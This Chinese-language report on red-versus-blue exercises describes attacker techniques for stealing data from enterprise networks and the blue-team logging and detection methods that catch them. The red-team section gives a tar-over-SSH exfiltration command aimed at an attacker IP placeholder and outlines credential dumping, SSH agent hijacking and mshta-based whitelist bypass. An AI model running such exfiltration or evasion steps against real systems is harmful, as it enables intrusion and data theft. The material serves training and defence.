

红蓝对抗中的信息泄露事件

红方视角

在企业内网环境中，红队（攻击者）常采用多种技术手段进行信息窃取和情报收集。典型方法包括：**凭证获取与横向渗透**（如利用 Pass-the-Hash、Pass-the-Ticket、WMI、SMB 执行等）、**系统漏洞利用**（针对已知补丁缺失的服务或应用漏洞）以及**社会工程**（钓鱼邮件、恶意文档）等。常用工具涵盖 **Mimikatz**、**Cobalt Strike**、**PowerShell**（内存脚本）等。Mimikatz 是红队提取内存中明文凭证的利器，能够从 LSASS 等进程中抓取密码和哈希 ¹ ²；Cobalt Strike 则提供了强大的后渗透控制平台和编组器，用于内网横向移动和远控（如文档演示中提到的初始攻击工具 ³）。在 Linux 主机上，红队常利用系统自带工具（如 `ssh`、`scp`、`curl`、`nc` 等）进行数据传输。例如，可以使用打包压缩与 SSH 通道结合的方式：`tar zcf - /tmp/datafolder | ssh root@<attackerIP> "cd /tmp; tar xzpf -"` ⁴。此外，还会通过**代理隧道**、**VPNpivot**、**Proxchains** 等方式实现内网穿透。

• 常见工具示例：

- **Mimikatz**：提取 Windows 内存中明文密码和哈希 ¹；需要在高权限上下文运行（SeDebug 权限）才能有效导出凭据 ¹。
- **Cobalt Strike**：集成了钓鱼、后门、负载生成和命令控制等功能，可用于生成和部署恶意负载，协助进行内网渗透 ³。
- **PowerShell 脚本**：攻击者经常在内存中运行 PowerShell Payload（如 `Invoke-Expression` 加载脚本），可利用系统签名的 `mshta.exe`、`certutil.exe` 等工具直接注入执行而不落地磁盘。
- **Linux 常用工具**：利用 `ssh`/`scp` 进行文件传输，或通过 `curl`、`wget` 将数据上传至攻击者控制的服务器。

• 攻击流程与横向移动：

- **初始渗透**：通过钓鱼邮件或漏洞利用获取首台内网主机控制权限。攻击者可能植入 Web 后门（如 Behinder、Golang Webshell）或建立远控连接。
- **权限提升**：在目标机上利用本地漏洞、提权脚本（如 PowerUp、Juicy Potato）或滥用高权限令牌，获得 SYSTEM/ROOT 级权限 ³。
- **横向移动**：使用从域控或本地提取的凭据，通过 SMB/PSEXEC、WMI、RDP、SSH 转发等方式进攻其他主机。Windows 环境常用 Pass-the-Hash、Kerberos 传票转移等；Linux 环境则可能利用 **SSH 会话复用或代理**。例如，如果目标用户在主机 A 上使用 SSH Agent 连接到主机 B，红队可在 A 上查找该用户的 `SSH_AUTH_SOCK` 环境变量，然后**劫持 SSH Agent**，以该用户身份继续登录其他内网主机 ⁵。
- **数据打包与外传**：在获取敏感数据后，常用工具将数据压缩打包并加密，然后通过内部网络向外上传。例如 Linux 下可以用 `tar` 与 SSH 管道结合，或者直接用 `scp` 将文件传送到外部服务器 ⁴；Windows 下可使用 PowerShell 的 `Invoke-WebRequest`、`bitsadmin` 或配置好的 HTTP/HTTPS 通道上传到云存储。常见的伪装策略包括通过 Dropbox/OneDrive 等合法服务隐匿流量 ⁶。
- **防御绕过技巧：**
 - **应用白名单绕过**：利用合法的系统程序来承载攻击载荷。比如，攻击者可以用微软签名的 `mshta.exe` 执行恶意 HTA 文件，以启动后门脚本并**直接注入内存**，从而绕过杀软与白名单检测 ⁷。
 - **进程注入与文件隐匿**：将恶意代码注入到正常进程（如 `explorer.exe`、`svchost.exe`）中运行，或采用反射式加载技术，使其不在磁盘留痕。

- **免杀与混淆**：对 Payload 进行编码/加密（如 Base64 或自定义异或），或使用自制加载器动态解密执行，以对抗静态扫描^[8]。此外，红队也会尽量降低可被追踪的网络痕迹，例如使用 DNS 隧道、ICMP 隧道等隐蔽通道来传输窃取数据。
- **实战案例**：
 - **APT29 (Cozy Bear)**：真实攻击中，该组织曾利用钓鱼邮件植入带宏的 Word 文档加载内存后门，并使用系统内置工具（如 PowerShell）执行后续命令，最终将窃取的数据隐蔽地上传到 Dropbox 或 OneDrive^[6]。
 - **中国能源行业目标**：在一起对国内能源企业的 APT 攻击中，攻击者从办公区打印服务器入手，利用 NTLM Relay 和 Pass-the-Hash 技术进行横向扫描，并将收集到的数据压缩打包后，持续数月上传至境外 VPS^[9]。以上案例中红队流程强调了凭据窃取、横向蔓延和密集数据外传的要点，为类似演练提供了经验借鉴。

蓝方视角

蓝队（防御者）通过**日志监控、流量分析、完整性校验**等手段发现异常行为。典型流程包括：收集和分析各类安全日志（进程、网络、应用、审计日志等），部署网络流量监控和入侵检测，以及实时威胁狩猎。常用工具和技术如下：

- **日志分析**：部署 **Sysmon** 在 Windows 主机上记录关键事件，如进程创建（事件ID 1）、网络连接（3）、文件/注册表更改（11）等^[10]；这能提供包括进程 ID、父进程、命令行、文件哈希等丰富信息^[11]。同时，开启 PowerShell 日志（脚本块执行 Event 4104）可以捕获被解码的 PowerShell 命令^[12]；安全事件日志（如登录事件 4624/4625、进程创建 4688、服务安装 7045）也是重要数据源。Linux 主机则关注 `/var/log/auth.log`、`/var/log/secure`、`auditd` 日志等，可使用 **Wazuh/OSSEC** 监控文件完整性和日志内容^[13]。例如，Wazuh 作为开源主机入侵检测系统，其规则可基于系统日志、文件完整性监控、命令审计和 rootkit 检测来识别异常^[13]。
- **流量检测**：利用网络监测工具或 IDS/IPS 监听东西向流量。**Arkime**（原名 Moloch）可高效捕获和搜索海量的 PCAP 数据^[14]；**Snort** 等开源 IPS 则通过预定义规则实时分析数据包，识别恶意行为并告警^[15]。Wireshark 等分析器可用于重建可疑会话（Follow TCP/UDP Stream）以观察隐藏的通道或周期性流量。流量监控能发现异常外联（如频繁访问陌生域名或云存储）和流量突增，从而锁定可疑泄密通道。
- **文件完整性检查**：使用 HIDS 工具（如 OSSEC/Wazuh、AIDE、Tripwire 等）对关键文件目录和配置文件进行哈希校验。一旦发现 `/etc/passwd`、敏感脚本或证书文件被篡改，即生成告警。如 Wazuh 默认每12小时检查 `/etc` 目录文件完整性，可配置更高频率监控可疑改动^[13]。
- **分析命令举例**：
 - Windows 平台：可使用 `Get-SysmonLogs` 脚本或 SIEM 查询快速筛选 Sysmon 日志，如查找命令行中带有 `-EncodedCommand` 或可疑脚本代码的事件^[16]；结合 Event Viewer 查找 PowerShell 脚本块日志（4104）中的特征字符串。
 - Linux 平台：通过 `ausearch` 审计日志、`grep` 关键字扫描 `/var/log`（如查找 `sudo`、`ssh`、`wget`、`nc` 等可疑操作）；用 `netstat -plant` 或流量监控工具识别长连接；核查新增或修改的 SUID/SGID 可执行文件。

根据 ATT&CK 框架，**进程监控和命令行日志**是多数检测技术的核心数据源，如上图所示的“System Information Discovery”示例【53+】。借助这些数据，蓝队可以在事件响应和取证中**还原攻击路径**：例如，通过 Sysmon 日志中记录的可疑网络连接（事件3）找到外联目标，^[11]就能分析谁向外部发起了通信；通过分

析 4688 进程创建事件或 WMI 远程执行日志，可以锁定恶意载荷的来源和触发进程¹⁶。为加速调查，团队通常已在 SIEM/ELK 中预设告警规则，比如监控 PowerShell 载入外部脚本、可疑编码执行等。

- **蓝方案例：**在一次红蓝演练中，蓝队通过日志挖掘发现某台主机上的 Sysmon 进程创建事件异常：Mshta.exe 激活了 PowerShell 并调用编码脚本¹⁶。进一步追查发现，该脚本使用 HTTP 将打包文件上传到外部服务器；蓝队及时阻断了该连接并隔离主机，阻止了数据泄露。此类场景下，整合 **ELK/HELK 平台**（ELK 已成为日志管理和威胁狩猎的常用解决方案¹⁷）和 EDR 产品可加速溯源，关联发现的指标（如可疑域名、进程哈希等）并触发响应。

总结与建议

针对企业内网红蓝攻防演练，应持续强化防御与监测体系。首先，**防御加固**：采用分层安全策略，在网络边界部署 IDS/IPS、WAF、流量白名单等，在主机端启用 EDR 和审计功能；关键系统（如域控制器、重要数据库）应严格限制管理员权限，最小化高危权限（如禁用普通管理员的 SeDebug 权限）¹⁸。其次，**日志和监控**：确保全面开启系统日志（Windows Event、Sysmon、Linux audit 等），并集中留存分析；如修改 Windows 注册表中 WDigest 相关项可作为凭证窃取的告警¹⁹。使用 SIEM/ELK 等平台关联多源日志信息，实现实时检索与规则告警。第三，**演练与培训**：定期组织红队演习和威胁狩猎练习，使蓝队熟悉攻击技术（IoC 与行为模式），提升快速响应能力²⁰。最后，要注重**最小权限与安全策略**，保持内网隔离分段，控制外联渠道（仅允许必要协议和目标），并定期清理历史凭证。通过上述措施，企业可有效提升内网抵御信息泄露的能力，为安全运营和审计合规提供有力保障。

参考资料：Mimikatz 工具介绍¹²；内网渗透与攻击链实战分析³⁶⁹；Linux 横向移动与数据外传实例⁴⁵；Sysmon 与检测技术解析¹⁰²¹；ELK 日志平台应用¹⁷；Wazuh 主机检测功能¹³；攻击检测工具Arkime、Snort特性¹⁴¹⁵；注册表与策略防御建议¹⁸¹⁹。

¹ ¹⁸ ¹⁹ 如何防御Mimikatz - 安全KER，安全资讯平台

<https://www.anquanke.com/post/id/156299%3C>

² Preventing Mimikatz Attacks. Mimikatz is playing a vital role in... | by Panagiotis Gkatziroulis | Blue Team | Medium

<https://medium.com/blue-team/preventing-mimikatz-attacks-ed283e7ebdd5>

³ ⁶ ⁹ ²⁰ 第七章：APT 攻击链条与攻防实战分析_apl攻击通常遵循-CSDN博客

https://blog.csdn.net/m0_45101613/article/details/148174276

⁴ Linux Post Exploitation 10.4

<https://mrw0r57.github.io/2020-05-31-linux-post-exploitation-10-4/>

⁵ SSH Hijacking for lateral movement | xorl %eax, %eax

<https://xorl.wordpress.com/2018/02/04/ssh-hijacking-for-lateral-movement/>

⁷ 使用mshta.exe绕过应用程序白名单（多种方法） - 渗透测试中心 - 博客园

<https://www.cnblogs.com/backlion/p/10491616.html>

⁸ 奇安信攻防社区-一次cs样本免杀实践

<https://forum.butian.net/share/2620>

¹⁰ ¹¹ 深入解析Sysmon日志：增强网络安全与威胁应对的关键一环

<https://www.manageengine.cn/news/ad20241113.html>

¹² ¹⁶ ²¹ 攻击检测之cobaltstrike4.3上-安全KER - 安全资讯平台

<https://www.anquanke.com/post/id/243349>

13 基于 Wazuh-常见主机入侵检测方法-腾讯云开发者社区-腾讯云

<https://cloud.tencent.com/developer/article/1660844>

14 15 17 蓝队工具箱：信息安全防御者必备的手提箱-安全KER - 安全资讯平台

<https://www.anquanke.com/post/id/295382>